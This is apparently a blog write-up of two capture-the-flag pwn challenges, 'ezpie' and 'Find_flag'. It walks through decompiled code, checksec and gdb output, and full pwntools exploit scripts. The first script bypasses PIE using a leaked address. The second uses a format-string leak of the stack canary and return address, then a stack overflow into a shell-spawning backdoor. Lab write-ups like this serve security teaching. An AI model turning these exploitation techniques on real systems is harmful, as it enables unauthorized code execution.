金丝雀饲养手册

Pwn Problems Solved in /06/16/26

ezpie

Download the file and check the code in IDA:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
puts("OHHH!,give you a gift!");
printf("%p\n", main); //Give the base-address of main function
puts("Input:");
vuln();
return 0;
}
ssize_t vuln()
{
_BYTE buf[40]; // [esp+0h] [ebp-28h] BYREF

return read(0, buf, 0x50u);
}
int shell()
{
return system("/bin/sh");
}

We can check the type of the file by checksec:

1
2
3
4
5
6
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

We know that the file is 32bits and with PIE enabled, that means the base address of the file is random, but the offset between the main function and backdoor function is changeless.

Use GDB to print the addresses of the functions:

1
2
3
4
pwndbg> p main
$1 = {<text variable, no debug info>} 0x770 <main>
pwndbg> p shell
$2 = {<text variable, no debug info>} 0x80f <shell>

Compute that the offset is 0x80f - 0x770 = 0x9f

Edit the exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.log_level = 'debug'
#p = process('./ezpie')
p = remote('node5.anna.nssctf.cn',28400)
offset = 0x28 + 0x4
p.recvuntil("gift!\n") # Abandon the trash information
leak_base = p.recvline() # Catch the main function
leak_base = leak_base.decode('utf-8') # Turn the type of bytes to the type of string.
leak_base = int(leak_base,16) # Turn the type of string to the type of integer
shell_addr = 0x80f - 0x770 + leak_base # Calculate the true address
payload = offset * b'a' + p32(shell_addr)
p.sendline(payload)
p.interactive()

Run the exp to get the flag.

Find_flag

Check the Code with IDA:

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__gid_t rgid; // [rsp+Ch] [rbp-4h]

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
sub_1240();
sub_132F();
return 0LL;
}

Notice that the main function calls two functions: sub_1240 and sub_132F

The sub_1240 has only the trash information. The sub_132F has vulnerability stack overflow.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 sub_132F()
{
char format[32]; // [rsp+0h] [rbp-60h] BYREF
_BYTE v2[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Hi! What's your name? ");
gets(format);
printf("Nice to meet you, ");
strcat(format, "!\n");
printf(format);
printf("Anything else? ");
gets(v2);
return __readfsqword(0x28u) ^ v3;
}

The v3 is the canary. The gets() function has danger in stack overflow. The printf function could leak the true address(physical address).

Check the information of the file with checksec:

1
2
3
4
5
6
7
Arch:       amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled

The canary is on, the NX is on and the PIE is on as well.

So we have to do is reverting the canary when we broke it and find the true address of the backdoor function. If we want to find out the true address, what should we do is leaking the base address.

How to leak the base address? We can leak the true address of return address of the function and minus the offset address(the address on the left of IDA screen).

We can calculate the offset through the gdb. Set a break on printf and run the program and check the stack.

The 64bits system has 6 registers in front of the stack(rdi,rsi,rdx,rcx,r8,r9). So we need to start to count in number 6 on the stack.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> stack 50
00:0000│ rax r8 rsp 0x7fffffffdf50 ◂— 0x6e /* 'n' */
01:0008│-058 0x7fffffffdf58 —▸ 0x7ffff7e54e93 (_IO_file_overflow+275) ◂— cmp eax, -1
02:0010│-050 0x7fffffffdf60 ◂— 0x19
03:0018│-048 0x7fffffffdf68 —▸ 0x7ffff7fb16a0 (_IO_2_1_stdout_) ◂— 0xfbad2887
04:0020│-040 0x7fffffffdf70 —▸ 0x55555555615c ◂— '^^^^^^^^^^^^^^^^^^^^^^^^\n'
05:0028│-038 0x7fffffffdf78 —▸ 0x7ffff7e4859a (puts+378) ◂— cmp eax, -1
06:0030│-030 0x7fffffffdf80 —▸ 0x555555555480 ◂— endbr64
07:0038│-028 0x7fffffffdf88 —▸ 0x7fffffffdfb0 —▸ 0x7fffffffdfd0 ◂— 0
08:0040│-020 0x7fffffffdf90 —▸ 0x555555555140 ◂— endbr64
09:0048│-018 0x7fffffffdf98 —▸ 0x7fffffffe0c0 ◂— 1
0a:0050│-010 0x7fffffffdfa0 ◂— 0
0b:0058│-008 0x7fffffffdfa8 ◂— 0x43a721dcf564d000 # No.17 The canary
0c:0060│ rbp 0x7fffffffdfb0 —▸ 0x7fffffffdfd0 ◂— 0
0d:0068│+008 0x7fffffffdfb8 —▸ 0x55555555546f ◂— mov eax, 0 # No.19 The true address of returning
0e:0070│+010 0x7fffffffdfc0 —▸ 0x7fffffffe0c0 ◂— 1
0f:0078│+018 0x7fffffffdfc8 ◂— 0x3e800000000
10:0080│+020 0x7fffffffdfd0 ◂— 0

We can know that the canary is number 17 and the true address of returning is number 19.

Leak the addresses with printf.

Edit the EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level = 'debug'
#p = process('./find_flag')
p = remote('node4.anna.nssctf.cn',21779)
payload1 = '%17$lx,%19$lx'
p.recvuntil('name?')
p.sendline(payload1)
tmp = p.recvuntil('!\n').decode()
#print(tmp)
buf = tmp.split()[4].split('!')[0]
canary = int((buf.split(','))[0],16)
#print(canary)
ret_addr = int(buf.split(',')[1],16)
base_addr = ret_addr - 0x146F
back_addr = 0x1231 + base_addr
payload2 = (0x40 - 0x8) * b'a' + p64(canary) + b'a' * 0x8 + p64(back_addr)
p.recvuntil('else?')
p.sendline(payload2)
p.interactive()

Since a serious problem with the CTF platform, we can succeed running in local system instead of the remote one. Whatever, that doesn’t matter.


金丝雀饲养手册
https://www.ghostfoxy.cn/2026/08/01/pie-canary/
作者
Gh0stF0xy
发布于
2026年8月1日
更新于
2026年8月1日
许可协议